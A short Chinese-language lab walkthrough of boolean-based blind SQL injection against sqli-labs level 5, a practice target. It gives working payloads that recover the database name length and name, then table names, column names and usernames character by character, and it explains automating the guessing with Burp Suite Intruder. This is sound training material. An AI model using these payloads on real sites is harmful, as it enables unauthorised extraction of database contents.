SQL布尔盲注
靶场环境:sqli-labs第五关
可以使用payload:?id=1 ' and (select count(*) from users)>0 --+
测试是否存在users这个表
第一步:获取数据库长度
使用length()函数,且盲注必须使用and
例:length(database())=3
payload: ?id=1' and length(database())=3 --+
注意:盲注判断是否正常要与正常查询的结果作比对,错误无回显,正确则显示正常结果
发送到Burpsuite intruder模块Sniper进行Number爆破,把3设置变量
可以把特征添加到Grep-Match筛选爆破结果
第二步:获取数据库名称
使用left()函数
例:left(database(),1)='s'
payload: ?id=1' and left(database(),1)='s' --+
//判断第一位名称是否为s
发送到Burpsuite intruder模块Sniper进行Runtime爆破,把s设置变量,字典为小写字母
第二步:获取表名称
使用ascii()和substr()函数
ascii():把内容转换成ascii码
substr():提取表名第一个字符
payload:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1), 1, 1))=127 --+
注意:提取security数据库的第一张表名称的第一个字符并转换成ascii码
发送到Burpsuite intruder模块Sniper进行Number爆破,把127设置变量,数值0-127,对照ascii表,然后把payload中 “1,1” 第一个1改成2继续爆破
第三步:获取列名称
payload:?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name='emails' limit 0,1), 1, 1))=127 --+
第四步:获取列名下的数据
payload:?id=1' and ascii(substr((select username from users limit 0,1), 1, 1))=84 --+